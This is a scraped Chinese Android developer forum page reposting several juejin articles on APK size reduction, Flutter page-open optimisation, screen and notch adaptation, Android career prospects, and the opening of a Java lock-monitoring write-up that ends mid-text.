注册
环信即时通讯云

环信即时通讯云

单聊、群聊、聊天室...
环信开发文档

环信开发文档

环信FAQ

环信FAQ

集成常见问题及答案
RTE开发者社区

RTE开发者社区

汇聚音视频领域技术干货,分享行业资讯
技术讨论区

技术讨论区

技术交流、答疑
资源下载

资源下载

收集了海量宝藏开发资源
iOS Library

iOS Library

不需要辛辛苦苦的去找轮子, 这里都有
Android Library

Android Library

不需要辛辛苦苦的去找轮子, 这里都有

以往项目中的压缩apk经验

过往的开发中,由于项目中使用的图片、音乐文件、特殊字体文件,以及导入的第三包等导致了最后生成的apk往往体积过大。过大的apk对于用户来说体验会非常的差,下载慢、耗费流量多等。所以开发者需要适当的压缩自己的apk。1.无需国际化时,去除额外的语言配置在项目ap...
继续阅读 »

过往的开发中,由于项目中使用的图片、音乐文件、特殊字体文件,以及导入的第三包等导致了最后生成的apk往往体积过大。过大的apk对于用户来说体验会非常的差,下载慢、耗费流量多等。所以开发者需要适当的压缩自己的apk。

1.无需国际化时,去除额外的语言配置

在项目app module的build.gradle中的defaultConfig中配置 resConfigs,仅配置需要的语言选项。


2.去除不需要的so架构

在项目app module的build.gradle中的defautlConfig中配置 ndk,仅配置需要的so库。 armeabi-v7a,arm64-v8a基本满足需求,如果需要用虚拟机测试可以加上x86


3.使用webg替代png或jpg

webp格式是谷歌推出的一种有损压缩格式,这种图片格式相比png或jpg格式的图片损失的质量几乎可以忽略不计,但是压缩后的图片体积却比png或jpg要小很多。

4.混淆配置

分为代码混淆和资源混淆

4.1代码混淆

proguard可以混淆以及优化代码,减小dex文件的大小,开启后需要需要配置proguard-rules.pro文件来保留不需要混淆的类,以及第三方包的类。 在项目app module的buildType中的release中设置minifyEnable为true,即可开启混淆, proguardFiles 是你制定的混淆规则文件。


4.3资源混淆

关于资源混淆,我使用的是微信的AndResGuard,它会将资源路径变短。 项目github地址:github.com/shwenzhang/…

配置过程: 1.在项目级的build.gradle添加


2.在app module中的build.gralde中添加插件


3.在app module中的build.gradle中添加andResGuard,需要注意的是whiteList,该项目的github中有列了一些三方库需要添加的白名单,还有特别要注意的是项目中如果有使用getIdentifier来查找drawable资源或者mipmap资源,需要将资源名也加入到白名单。



作者:ChenYhong
来源:juejin.cn/post/7027480502193881101

收起阅读 »

移动端页面秒开优化总结

前言  App优化,是一个工作、面试或KPI都绕不开的话题,如何让用户使用流畅呢?今天谨以此篇文章总结一下过去两个月我在工作中的优化事项到底有那些,优化方面还算小白,有不对的地方还望指出海涵, 该文章主要通过讲述Native跳转到Flutter界面秒开率提升。...
继续阅读 »

前言

  App优化,是一个工作、面试或KPI都绕不开的话题,如何让用户使用流畅呢?今天谨以此篇文章总结一下过去两个月我在工作中的优化事项到底有那些,优化方面还算小白,有不对的地方还望指出海涵, 该文章主要通过讲述Native跳转到Flutter界面秒开率提升

问题分析

  当你拿到反馈App页面渲染时间长的工单的时候,第一步想到的不应该是有那些那些方法可以降低耗时,我们应该根据自己的真实业务触发,第一步 验证 通过打点或者工具去验证这个问题,了解 一个页面打开耗时的统计方式分析一个打开耗时是由那些方面组成,通过那些技术手段去解决80%的问题,抓大放小去处理问题。

  通过工具分析启动链路耗时,发现部分必要接口RT时间较长,Flutter引擎冷启耗时较长和View渲染耗时为主要耗时项。接下来就围绕着三个大方面去做一些优化。

网络优化

   以Android 界面跳转链路来说 ,具体链路看下图(模拟数据 主要明白思想)


   看到串行,就知道这里肯定可以有文章做


  可以看到在网络请求可以提前到 Router环节去解析并进行预加载,并行的话可以优化 必要接口RT的时长,节省的时间在页面秒开链路中占比最多。

  在这里需要兼容网络返回较慢的情况,我们可以引入骨架图,提升上屏率。

数据预请求

Router和请求

  通过拦截路由地址,判断路径是否属于预请求白名单。如果匹配,进入预请求逻辑,发起网络拼接和请求,在获取到结果进行本地缓存,供消费界面去消费。因为考虑到网络返回如果慢与界面,可以提供回调,消费界面进来进行绑定。

端侧通讯

   由于Native 跳转到 Flutter ,所以这里需要借助 Channel来进行管道传递,这里我们没有使用MethodChannel 而是选择 可以Native主动通知Flutter 的EventChannel来接收消息。

public class EventChannelManager implements IFlutterProphetPlugin {
   private static Map<String, EventChannel.EventSink> cachedEventSinkMap = new HashMap<>();
   private static LinkedList<Object> dataList = new LinkedList<>();

   public final static String CHANNEL_REQUEST_PRE = "event_channel";

   private static EventChannelManager instance;

   public static EventChannelManager getInstance() {
       if (null == instance) {
           instance = new EventChannelManager();
      }
       return instance;
  }

   @Creator
   public static IFlutterProphetPlugin create() {
       return new EventChannelManager();
  }

   //初始化
   @Override
   public void initChannel(FlutterEngine engine) {
       try {
           EventChannel eventChannel_pre = new EventChannel(engine.getDartExecutor(), CHANNEL_REQUEST_PRE);
           eventChannel_pre.setStreamHandler(new ProphetStreamHandler(CHANNEL_REQUEST_PRE));
      } catch (Exception ex) {
           Log.e(TAG, "init channel err :" + ex.getMessage());
      }
  }

   //发送消息
   @Override
   public void sendEventToStream(String eventChannel, Object data) {
       synchronized (this) {
           try {
               EventChannel.EventSink eventSink = cachedEventSinkMap.get(eventChannel);
               if (null != eventSink) {
                   eventSink.success(data);
              } else {
                   dataList.add(data);
              }
          } catch (Exception ex) {
          }
      }
  }

   //关闭
   public void cancel(String eventChannel) {
       EventChannel.EventSink eventSink = cachedEventSinkMap.get(eventChannel);
       if (null != eventSink) {
           eventSink.endOfStream();
      }
  }

   public static class ProphetStreamHandler implements EventChannel.StreamHandler {
       private String eventChannel;

       public ProphetStreamHandler(String eventChannel) {
           this.eventChannel = eventChannel;
      }

       @Override
       public void onListen(Object arguments, EventChannel.EventSink events) {
           cachedEventSinkMap.put(eventChannel, events);
           if (dataList.size() != 0) {
               for (Object obj : dataList) {
                   events.success(obj);
              }
               dataList.clear();
          }
      }

       @Override
       public void onCancel(Object arguments) {
           cachedEventSinkMap.remove(eventChannel);
      }
  }

}

上述代码为通用EventChannel创建和发送消息工具类,接口不贴了....

缓存

  预请求模块中,如果网络请求结果成功,可以将结果写入缓存SDK中(可以根据缓存SDK策略,内存和磁盘缓存都做好处理)。结合缓存策略,再次进入界面即可先读取缓存数据上屏,通过顶部Load状态提醒用户 预请求的数据正在加载中,来缩短秒开时间。

端智能

  通过大数据和算法对用户习惯性的使用链路进行分析,判断用户下一个节点将会进入哪个界面,匹配到预请求白名单,也可以更早的进行预请求逻辑 (没有集团SDK支撑的话可以不列为主要优化方式)。


数据后带

  以自己维护的App来说,首屏商品列表会返回很多数据包括但不限于:商品Url、商品名称、价格等核心信息,在进入商品详情中,我们通常会把商品id发送到详情界面,并再次进行商品详情接口的请求,那么我们可以通过数据后带的方式,先让详情页核心数据显示出来,然后通过局部骨架图来等待详情信息的返回,感官上缩短界面等待时长。

数据延后

  首屏中还会有很多二级弹窗列表数据接口的请求,其实这里的接口可以通过延后的方式来加载并渲染出来,减少首屏刚开始的CPU使用,为核心View渲染让步,减少CPU竞争。

业务逻辑优化

  部分不重要接口除了可以延后处理外,还可以通过推动后端合理缩小数据结构,减少不必要的网络消耗产生。对于部分小量接口,可以通过搭车的方式 进行接口合并 一块返回,部分数据可能不需要实时更新的,可以减少不必要请求来进行优化。

布局优化

异步加载

  假设场景是搜索结果列表,我们可以在数据请求前置的同时,去异步 inflate 一些 recyclerview 的 itemview,渲染阶段就可以节约 createViewHolder 的时间。(这里只是进行一个场景举例,更多的使用方法和业务强耦合,需要自行分析和合理设计避免负向优化)

递进加载

  顾名思义,其实递进加载和数据延后请求原理相似,每个界面可能都会有重要View,以商品列表为例,我可能更希望商品列表数据先返回回来,其他的接口可以延后,提升界面渲染速度。

作者:小肥羊冲冲冲Android
来源:juejin.cn/post/7121636526596816933

收起阅读 »

如何让一套代码完美适配各种屏幕?

一、适配的目的区别于iOS,android设备有不同的分辨率大小以及不同厂商的系统,目前市场的分辨率可以看下相关统计。2021市场移动设备分辨率统计可以看到主流的分辨率有10多种,当不做适配时,一套代码在不同设备上的效果偏大、偏小、截断以及留白严重,那一套代码...
继续阅读 »


一、适配的目的

区别于iOS,android设备有不同的分辨率大小以及不同厂商的系统,目前市场的分辨率可以看下相关统计。

2021市场移动设备分辨率统计

可以看到主流的分辨率有10多种,当不做适配时,一套代码在不同设备上的效果偏大、偏小、截断以及留白严重,那一套代码如何完美的展示在不同的设备上,可以看下面的一些适配方案。

二、UI适配

2.1、常见的适配方式

2.1.1、xml布局控件适配

  1. 避免写死View的宽高,尽量使用warp_content和match_parent;

  2. 父布局为LinearLayout,选择使用android:layout_weight属性,为布局中的每个子View设置权重;

  3. 父布局为RelativeLayout,可以选择使用layout_centerInParent等属性,设置子View的相对位置;

  4. 谷歌官方在之前版本中提供了一个百分比布局方式:support:percent,它支持RelativeLayout和FrameLayout的百分比布局,但是目前官方已经不再维护,而将他取而代之的是新晋布局:ConstraintLayout,ConstraintLayout强大之处不仅在于它能够进行百分比布局,还可以进行相对定位、角度定位、尺寸约束、宽高比、Chainl链布局等,在不同设备间都能处理的游刃有余。

2.1.2、图片适配

  1. .9图
    .9.png图片本质上还是png图片,相对于普通png图来说,.9图可以让图片在指定的位置拉伸和在指定的位置显示内容且不会失真;

  2. 见2.1.4分辨率限定符;

2.1.3、依据产品设计适配

所谓产品设计适配,指的是产品流程在不同设备上有不同的展示方式,例如手机与Pad的区别,在手机设备上,一般来说具体Item列表是一个页面,点击每个Item会跳转至新的详情页;而在宽度>高度的Pad上,为了防止页面空白浪费,一般会要求屏幕左侧为Item列表,右侧即详情页,item与详情页会同时出现在用户的视觉内,如下图


关于这种类型的设计,其实郭霖《第一行代码》给出了一个方案,我在这里抛砖引玉一下,给出基本思路。

这种情况下,适配的核心在于利用android动态加载布局的机制,使得程序能够根据分辨率或者屏幕大小在运行时动态加载不同的布局,而动态加载就需要使用到限定符

  • 限定符 所谓限定符,指的是给res目录中的子目录加上“-限定符”,可以给不同设备提供不同的资源以及布局,如下图,layout添加-large,-small。


layout-small:指的是提供给小屏幕设备的资源;
layout-large:指的是提供给大屏幕设备的资源;
layout/layout-normal:指的是提供给中等屏幕设备的资源,也就是默认状态;
layout-xlarge:值得是提供给超大屏幕设备的资源;

在上面所提出的情景下,Pad即指的大屏幕,手机一般可看作为中等屏幕设备,为了在大屏幕下显示双页模式,我们可以在layout-large和layout目录下新建同一个name的布局xml,在layout-large下的xml针对Pad做双页处理,即左半边View+右半边View样式,layout目录下xml还是做普通处理。

在最后项目运行时,会根据不同设备来加载不同目录下的xml资源,即Pad会加载layout-large目录下的xml,普通手机设备会加载layout目录下的xml资源。

从而实现一套代码在不同设备上产品逻辑。

限定符可以大范围的区分设备,但是你还是不知道-large代表是多大的设备,-small代表的是多小的设备,如果需要清楚的区分各个屏幕的大小,那就需要用到最小宽度限定符。

  • 最小宽度限定符(Smallest-width Qualifier),简称SW 最小宽度限定符指的是,对屏幕的宽度设立一个最小的值(dp),当当前设备屏幕宽度大于这个值就加载一个布局,


例如在res下新建一个layout-sw720dp的文件夹,当屏幕宽度大于720dp时,项目就会加载layout-sw720dp/***.xml 资源文件。

2.1.4、限定符适配

在2.1.3中提到了限定符的概念,也解决了一部分的设计适配问题,但是还有一些限定符的概念没有涉及到,该目录下将会提到不同的限定符的概念,可以结合2.1.3一起食用。

  • 分辨率限定符 在Android项目中,会把放置图片资源的文件夹分为drawable-hdpi、xhdpi xxhdpi xxxhdpi等,这些指的就是分辨率限定符。

Andriod系统会根据手机屏幕的大小及屏幕密度去选择不同文件夹下的图片资源,以此来实现在不同大小不同屏幕分辨率下适配的问题。

这里提一点AS对图片资源的匹配规则:

举个例子,当当前的设备密度为xhdpi,此时代码中ImageView需要去引用drawable中的图片,那么根据匹配规则,系统首先会在drawable-xhdpi文件夹中去搜索,如果需要的图片存在,那么直接显示;如果不存在,那么系统将会开始从更高dpi中搜索,例如drawable-xxhdpi,drawable-xxxhdpi,如果在高dpi中搜索不到需要的图片,那么就会去drawable-nodpi中搜索,有则显示,无则继续向低dpi,如drawable-hdpi,drawable-mdpi,drawable-ldpi等文件夹一级一级搜索.

当在比当前设备密度低的文件夹中搜到图片,那么在ImageView(宽高在wrap_content状态下)中显示的图片将会被放大.图片放大也就意味着所占内存也开始增多.这也就是为什么分辨率不高的图片随意放置在drawable中也会出现OOM,而在高密度文件夹中搜到图片,图片在该设备上将会被缩小,内存也就相应减少。

在理想的状态下,不同dpi的文件下应该放置相应dpi的图片资源,以对不同的设备进行适配。

  • 尺寸限定符和最小宽度限定符 见2.1.3

  • 屏幕方向限定符 屏幕方向限定符即“-land”、“-port”,分别代表横排和竖屏。

手机会存在横竖屏切换的场景,当设备横屏时,会主动加载layout-land/目录下的资源文件,当设备为竖屏时,则加载layout-port目录下的资源文件。

2.2、今日头条适配方式

在开始今日头条的适配方案之前,需要提及px、dpi、density的概念。

px:即像素,我们常看到的480 * 800 、720 * 1280、1080 * 1920指的就是像素值宽高的意思;

dpi:即densityDpi,每英寸中的像素数;

density:屏幕密度,density = dpi / 160;

scaledDensity:字体的缩放因子,正常情况下和density相等,但是调节系统字体大小后会改变这个值

android中的dp在渲染前会将dp转为px,计算公式:

  • px = density * dp

从dp和px的转换公式 :px = dp * density 可以看出,如果设计图宽为360dp,想要保证在所有设备计算得出的px值都正好是屏幕宽度的话,我们只能修改 density 的值。这就是该方案的核心。

那如何修改系统的density?

可以通过DisplayMetrics获取系统density和scaledDensity值,

val displayMetrics = application.resources.displayMetrics

val density = displayMetrics.density
val scaledDensity = displayMetrics.scaledDensity
复制代码

设配的目的在于使用一套设计稿,能完好的展示在不同设备上,所以UI需要确定一个固定的尺寸,依据density=px / dp的公式,确定density的值,其中px指的是真实设备的值, 这里我们以设计稿的宽度作为一个纬度进行测算。

举个例子,如设计稿中固定宽度为360dp,当前设备的屏幕宽度为720,那么density = 720 / 360 = 2,其中当前设备的屏幕宽度也可以用DisplayMetrics来获取:

val targetDensity = displayMetrics.widthPixels / 360
复制代码

整体思路

//0.获取当前app的屏幕显示信息
val displayMetrics = application.resources.displayMetrics
if (appDensity == 0f) {
   //1.初始化赋值操作 获取app初始density和scaledDensity
   appDensity = displayMetrics.density
   appScaleDensity = displayMetrics.scaledDensity
}

/*
2.计算目标值density, scaleDensity, densityDpi
targetDensity为当前设备的宽度/设计稿固定的宽度
targetScaleDensity:目标字体缩放Density,等比例测算
targetDensityDpi:density = dpi / 160 即dpi = density * 160
*/
val targetDensity = displayMetrics.widthPixels / WIDTH
val targetScaleDensity = targetDensity * (appScaleDensity / appDensity)
val targetDensityDpi = (targetDensity * 160).toInt()

//3.替换Activity的density, scaleDensity, densityDpi
val dm = activity.resources.displayMetrics
dm.density = targetDensity
dm.scaledDensity = targetScaleDensity
dm.densityDpi = targetDensityDpi
复制代码

三、刘海屏适配



  • 有状态栏的界面:刘海区域会显示状态栏,无需适配;

  • 全屏界面:刘海区域可能遮挡内容,需要适配;

针对刘海屏适配,在Android P以上,谷歌官方给出了适配方案,可参考developer.android.google.cn/guide/topic… ,所以在 targetApi >= 28 上可以使用谷歌官方推荐的适配方案进行刘海屏适配。 而在Android O的设备上,如华为、小米、oppo等厂商给出了适配方案。

3.1、Android9.0官方适配

将内容呈现到刘海区域中,则可以使用 WindowInsets.getDisplayCutout() 来检索 DisplayCutout 对象,同时可以使用窗口布局属性 layoutInDisplayCutoutMode 控制内容如何呈现在刘海区域中。

layoutInDisplayCutoutMode

  • LAYOUT_IN_DISPLAY_CUTOUT_MODE_DEFAULT :在竖屏模式下,内容会呈现到刘海区域中;但在横屏模式下,内容会显示黑边。

  • LAYOUT_IN_DISPLAY_CUTOUT_MODE_SHORT_EDGES:在竖屏模式和横屏模式下,内容都会呈现到刘海区域中。

  • LAYOUT_IN_DISPLAY_CUTOUT_MODE_NEVER:内容从不呈现到刘海区域中。

/**
* @param mode 刘海屏下内容显示模式,针对Android9.0
LAYOUT_IN_DISPLAY_CUTOUT_MODE_DEFAULT = 0; //在竖屏模式下,内容会呈现到刘海区域中;但在横屏模式下,内容会显示黑边
LAYOUT_IN_DISPLAY_CUTOUT_MODE_NEVER = 2;//不允许内容延伸进刘海区
LAYOUT_IN_DISPLAY_CUTOUT_MODE_SHORT_EDGES = 1;//在竖屏模式和横屏模式下,内容都会呈现到刘海区域中
*/
@RequiresApi(Build.VERSION_CODES.P)
private fun setDisplayCutoutMode(mode: Int) {
   window.attributes.apply {
       this.layoutInDisplayCutoutMode = mode
       window.attributes = this
  }

}
复制代码

判断是否当前设备是否有刘海:

/**
* 判断当前设备是否有刘海
*/
@RequiresApi(Build.VERSION_CODES.P)
private fun hasCutout(): Boolean {
   window.decorView.rootWindowInsets?.let {
       it.displayCutout?.let {
           if (it.boundingRects.size > 0 && it.safeInsetTop > 0) {
               return true
          }
      }
  }
   return false
}
复制代码

在activity的 setContentView(R.layout.activity_main)之前设置layoutInDisplayCutoutMode。

LAYOUT_IN_DISPLAY_CUTOUT_MODE_DEFAULTLAYOUT_IN_DISPLAY_CUTOUT_MODE_NEVERLAYOUT_IN_DISPLAY_CUTOUT_MODE_SHORT_EDGES



3.2、各大厂商适配方案(华为、小米、oppo等)

除了在AndroidP系统下官方给了适配方案,各大厂商针对自家系统也给出了相应的适配方案,可参考:

oppo
vivo
小米
华为

参考文档
今日头条适配方案
Android9.0官方适配方案

作者:付十一

来源:juejin.cn/post/7117630529595244558

收起阅读 »

Android 开发还有必要深耕吗?现状怎么样?未来前景将会怎样?

截止到今天,Android的生态发生了不少变化以前的鼎盛时期,堪称是个公司就做App,由于当时市场上缺乏Android开发,招聘往往是低要求、高薪资,只要你面试说得上四大组件,第二天马上拎包入职,线下的Android培训也是一抓一大把,吸引了一大批人涌入And...
继续阅读 »

截止到今天,Android的生态发生了不少变化

以前的鼎盛时期,堪称是个公司就做App,由于当时市场上缺乏Android开发,招聘往往是低要求、高薪资,只要你面试说得上四大组件,第二天马上拎包入职,线下的Android培训也是一抓一大把,吸引了一大批人涌入Android开发行业。Android招聘市场的需求逐渐被填充,招聘要求逐步提高……

随着“互联网寒冬”的到来,大批互联网公司纷纷倒闭,大厂也纷纷裁员节流,人才供给大幅增加、需求大幅降低,造成当时的市场迅速达到饱和。培训出来的初级Android开发找不到工作,大厂被裁员的Android开发放不下薪资要求,这批人找不到工作,再加上当时自媒体的大肆渲染,Android开发可不就“凉了”吗?

毫不夸张的说,早期说得上四大组件稍微能做一点点,拿个15-20k是比较轻松的,要是你还有过完整开发经验,30k真是一点都不过分,而在“寒冬”之后,当招聘市场供给过剩时,面试官有了充分的选择权,你会四大组件,那我就有完整App独立开发经验,另一人或许有过十万级App开发经验,你说面试官会收下谁呢?岗位招聘要求也是在这时迅速拔高,整个Android市场逐渐趋于平稳,大家感觉Android开发来到了内卷期……

再来说现在:

Android凉了吗?

其实并不是Android凉了,而是技术不过硬的Android凉了

被高薪晃晕了头脑放不下身段的假高工凉了

现在的Android市场,Android初级工程师早就已经严重饱和了,供远大于求。这就导致了很多Android开发会面临被优化、被毕业、找不到工作这种情况,然后这部分人又出来说Android凉了,如此循环之下,以致于很多人都觉得Android凉了……

其核心原因只是Android开发市场由鼎盛的疯狂逐渐趋于平稳

这里也给出Android开发薪资/年限图给大家参考:


也不缺少学历突出的、能力突出的、努力突出的,这三类都可以拿到比图中同级别更可观的薪资

当然,我们并不能以薪资作为职级的标准,决定一个Android工程师到底是初级、中级、高级还是资深的,永远都不会是开发年限!

只有技术才能客观的作为衡量标准!

不管是几年经验,如果能力与工作年限不匹配,都会有被毕业的风险,如果掌握的技术达不到对应职级的标准,那别想了,毕业警告……

在很多人觉得Android凉了的时候,也不乏有Android开发跳槽进大厂拿高薪,不少在闷头提升技术水平,迄今为止还没有听过哪个Android开发大牛说“Android凉了”,当大家达到一定的高度之后,就会得知谁谁谁跳槽美团,几百万;某某某又跳进了阿里、腾讯……

不管在任何行业,任何岗位,初级技术人才总是供大于求;不管任何行业、岗位,技术过硬的也都是非常吃香的!

在初级市场”凉了“的同时,高级市场几乎是在抢人!

很多高薪、急招岗位挂上了招聘网站,往往一整年都面试不了几场,自打挂上来,就没动过了……

所以说,Android开发求职,质量才是关键!

再说到转行问题

我一直都比较佩服有大勇气转行的朋友,因为转行需要我们抛弃现有的知识技能,重新起航

佩服归佩服,身边不少之前是Android开发的朋友转行Java、Python,但他们对于目前市场还是过于乐观了,Python很火,它竞争不大吗?部分转行从0开始的,甚至连应届生都比不过~

不要轻易转行,如果要转一定要尽早转

转行有两种我认为是正常的,一种是行业消失了、没落了,继续留在业内无法施展才华。另一种是兴趣压根就不在本行,因此选一个自己感兴趣的。而现在大部分转行都是为了跟风,为了那看得见但摸不着的”风口“,而忽略了长期的发展潜力。


不管是学习力也好,精力也好,大部分人在35岁之前都属于加速期,加速期的一些选择,决定了35岁之后到底是上升还是衰落。

以Android开发转Python来说,一个Android高级转行Python会变为Python初级,这时从事Python的人都在加速提高,要想赶超在你之前的拥有同样学习力的人是不可能办到的,这就导致在转行前期极为被动,还要保证在35岁前成为Python专家或者Leader才有可能在35岁后不进入衰落期,当然这时你的Android基本也就荒废了,不说很难成为专家,高级也成为了一个很大的门槛。

如果你还想要在对应的技术领域走的更远,就不要轻易选择转行,如果实在想要转,那么越早越好、越快越好,你的竞争者都在加速提升技术水平,职场上,没人会停下等你的……

转行大部分都产生不了质变

我们所说的质变可以理解为在一个技术领域的大幅提升,或者是不相关领域的跨界

比如由高级开发变为专家,或者是由高级开发升到Leader,再或者跨界开始做一些技术相关的博客、培训、演讲、出书等等而被人所熟知。

凡是能帮助你在职业生涯中后期进入上升期的都可以看做是一次质变,而转行很少是质变,更多的都是倒退回到原点重新出发,形象点来说,你只是换了个不同的砖头接着搬砖而已。因此我们更应该去追求质变,而不是平行或者倒退,一次倒退或许可以承受,多次倒退就很难在职业生涯中后期再进入上升期。

其实不少转行的人都没有起到积极作用,毕竟都是从0开始,精进到专家绝不是一朝一夕可以完成的

或许到时又会有同样的问题:

前端凉了?前景怎么样?

Java凉了?前景怎么样?

大数据凉了?前景怎么样?

人工智能凉了?前景怎么样?

……

而另一类人,其实不管在哪个行业都可以混的风生水起!

如果是这种,那么想必也不需要考虑转行了。

所以根本不用想着Android凉了或是说要转行,与其焦虑不安,不如努力提升技术水平,毕竟在这时代,有硬技术的人到哪都吃香。

我们想要往高级进阶,建立属于自己的系统化知识体系才是最重要的,高工所需要掌握的技术不是通过蹭热点和玩黑科技,而是需要真正深入到核心技术的本质,知晓原理,知其然知其所以然。

可能不少人会觉得Android技术深度不深,技术栈不庞大,Android职业发展有限,这就真是个天大的误解。

先说技术上,Android的技术栈随着时间的推移变得越来越庞大,细分领域也越来越多,主要有应用开发、逆向安全、音视频、车联网、物联网、手机开发和SDK开发等等,每个细分领域都有很多技术栈组成,深度都足够精深,就拿所有细分领域通用的Android系统底层源码来说,就会叫你学起来生不如死。

还有AI、大数据、边缘计算、VR/AR,很多新的技术浪潮也都可以结合进移动开发的技术范畴……

那么现在Android怎么学?学什么?

这几年Android新技术的迭代明显加速了,有来自外部跨平台新物种的冲击,有去Java化的商业考量,也有Jetpack等官方自建平台的加速等多种原因。

作为Android开发者,我们需要密切关注的同时也不要盲目跟随,还是要认清趋势,结合项目现状学习。

Kotlin

Kotlin已经成为Android开发的官方语言,Android的新的文档和Sample代码都开始转向 Kotlin,在未来Java将加速被 Kotlin替代。

刚推出时,很多人都不愿意学习,但现在在面试中已经是经常会出现了,很多大公司也都已经拥抱新技术了。现在Kotlin是一个很明显的趋势了,不少新技术都需要结合Kotlin来使用,未来在工作中、面试中所占的比重肯定会更大。

Jetpack+Compose

Jetpack的意义在于帮我们在SDK基础上提供了一系列中间件工具,让我们可以摆脱不断造轮子抄轮子的窘境。同类的解决方案首先考虑Jetpack其次考虑第三方实现,没毛病。

Jetpack本身也会不断吸收优秀的第三方解决方案进来。所以作为开发者实时关注其最新动态就可以了。

Compose是Google I/O 2019 发布的新的声明式的UI框架。其实Google内部自2017年便开始立项,目前API已稳定,构建,预览等开发体验已经趋于完整。

而且新的设计思想绝对是趋势,已经在react和flutter等前端领域中得到验证,ios开发中同期推出的swiftUI更是证明了业界对于这种声明式UI开发趋势的共识。这必将是日后Android app极为重要的编程方式。

开源框架底层原理

现在的面试从头到尾都是比较有深度的技术问题,虽然那些问题看上去在网上都能查到相关的资料,但面试官基本都是根据你的回答持续深入,如果没有真正对技术原理和底层逻辑有一定的了解是无法通过的。

很多看似无理甚至无用的问题,比如 “Okhttp请求复用有没有了解”,其实是面试官想借此看看你对网络优化和Socket协议的理解情况和掌握程度,类似问题都是面试官想借此看看你对相关原理的理解情况和掌握程度,甚至进而引伸到你对架构,设计模式的理解。只有在熟知原理的前提下,你才能够获得面试官的青睐。

Framework

Framework作为Android的框架层,为App提供了很多API调用,但很多机制都是Framework包装好后直接给App用的,如果不懂这些机制的原理,就很难在这基础上进行优化。

像启动监控、掉帧监控、函数插桩、慢函数检测、ANR监控,都需要比较深入的了解Framework,才能知道怎么去监控、利用什么机制监控、函数插桩插到哪里、反射调用该反射哪个类哪个方法哪个属性……

性能优化

性能优化是软件工程的深水区,也是衡量一个程序员能力高低的标准

想要搞清楚性能优化,必须对各种底层原理有着深度的了解,对各种 case非常丰富的经验;很多朋友经常遇到措手不及的问题,大多是因为对出现问题的情况和处理思路模糊不清,导致此原因就是因为没有彻底搞懂底层原理。

性能优化始终穿插在 App 整个研发生命周期中,不管是从 0 到 1 的建立阶段,还是从 1 到 N 打磨阶段,都离不开性能优化。

音视频

伴随着疫情的反复以及5G的普及,本就火爆的音视频技术是越来越热,很多大小厂在这几年也都纷纷入局。但音视频学习起来门槛比较高,没有比较系统的教程或者书籍,网上的博客文章也都是比较零散的。

招聘市场上,同级别的音视频开发要比应用开发薪资高出30%以上。

车载

在智能手机行业初兴起时,包括BAT在内许多传统互联网企业都曾布局手机产业,但是随着手机市场的基本定型,造车似乎又成了各大资本下一个追逐的方向。百度、小米先后宣布造车,阿里巴巴则与上汽集团共同投资创立了,面向汽车全行业提供智能汽车操作系统和智能网联汽车整体解决方案的斑马网络,一时间造车俨然成了资本市场的下一个风口。

而作为移动端操作系统的霸主Android,也以一种新的姿态高调侵入造车领域

关于学习

在学习的过程中,可能会选择看博客自学、看官方文档、看书、看大厂大牛整理的知识点文档、看视频,但要按学习效率来排序的话:报培训班>看视频>知识点>书籍>官方文档>博客

报班,可能很多朋友对于报班这个事情比较抵触,但不可否认,报一个培训班是可以学到很多深层次的、成体系的技术,像之前读书一样,都是捣碎了喂给你,并且培训班其实对于新技术、新趋势是相当敏锐的,可以第一时间接触,也会规避开自学的烦恼。

看视频,基本也是由别人捣碎知识点教会你,但较之培训班的话,视频的知识成体系吗?有没有过时?

大厂大牛整理的知识点文档,大厂大牛技术还是比较可靠的,这类型的知识点文档初版基本是可以放心享用,但如果只是少数人甚至是一个人进行维护的话,当整个文档的知识体系越来越广时,其中的部分知识点可能已经过时但一直没有时间更新

书籍,相比前者就更甚了,一个技术出来,先研究、再整理、修正……直到最后出版被你买到,中间经过的这段时间就是你落后于其他人的地方了,但其中的知识点基本可以肯定成体系、无重大错误。学习比较底层的,不会有很大改动的知识点还是相当不错的。

官方文档,这一块也是我思考了很久才排好,官方文档往往是第一手资源,对于有能力看懂的朋友来说,可以直接上手品尝。但其实很多开发拿到官方文档还是看的一知半解,再者说,自己看可能会有遗漏,还是没有别人一点一点将重点翻开来解读更好

博客,网络上的博客水平参差不齐,通常大家擅长的也不是同一个技术领域,往往是学习一块看A的,另一块看B的,而且网上很多博客都是抄来自己记录的,很多API已经过时了,甚至不少连代码都是完全错误的,这样的学习,可想而知……

最后

一些个人见解,也参考了不少大佬的观点,希望可以给大家带来一些帮助,如果大家有什么不同看法,也欢迎在评论区一起讨论交流

Android路漫漫,共勉!


作者:像程序一样思考
来源:juejin.cn/post/7128425172998029320

收起阅读 »

抖音 Android 性能优化系列:Java 锁优化

背景Java 多线程开发中为了保证数据的一致性,引入了同步锁(synchronized)。但是,对锁的过度使用,可能导致卡顿问题,甚至 ANR:Systrace 中的主线程因为等锁阻塞了绘制,导致卡顿 Slardar 平台(字节跳动内部 APM 平台,以下简称...
继续阅读 »

背景

Java 多线程开发中为了保证数据的一致性,引入了同步锁(synchronized)。但是,对锁的过度使用,可能导致卡顿问题,甚至 ANR:

  • Systrace 中的主线程因为等锁阻塞了绘制,导致卡顿

  • Slardar 平台(字节跳动内部 APM 平台,以下简称 Slardar)中搜索 waiting to lock 关键字发现很多锁导致的 ANR,仅 Java 锁异常占到总 ANR 的 3.9%


本文将着重向大家介绍 Slardar 线上锁监控方案的原理与使用方法,以及我们在抖音上发现的锁的经典案例与优化实践。

监控方案

获取运行时锁信息的方法有以下几种

方案应用范围特点
systrace线下可以发现锁导致的耗时没有调用栈
定制 ROM线下可以支持调用栈修改 ROM 门槛较高,仅支持特定机型
JVMTI线下只支持 Android8+ 设备不支持 release 包,且性能开销较大

考虑到,很多锁问题需要一定规模的线上用户才能暴露出来,另外没有调用栈难以从根本上定位和解决线上用户的锁问题。最终我们自研了一套线上锁监控系统,它需要满足以下要求:

  • 线上监控方案

  • 丰富的锁信息,包括 Java 调用栈

  • 数据分析平台,包括聚合能力,设备和版本信息等

  • 可纳入开发和合码流程,防止不良代码上线

这样的锁监控系统,能够帮助我们高效定位和解决线上问题,并实现防劣化。

锁监控原理

我们先从 Systrace 入手,有一类常见的耗时叫做 monitor contention,其实是 Android ART 虚拟机输出的锁信息。


简单介绍一下里面的信息

monitor contention with owner work_thread (27176) at android.content.res.Resources android.app.ResourcesManager.getOrCreateResources(android.os.IBinder, android.content.res.ResourcesKey, java.lang.ClassLoader)(ResourcesManager.java:901) waiters=1 blocking from java.util.ArrayList android.app.ActivityThread.collectComponentCallbacks(boolean, android.content.res.Configuration)(ActivityThread.java:5836)
  • 持锁线程:work_thread

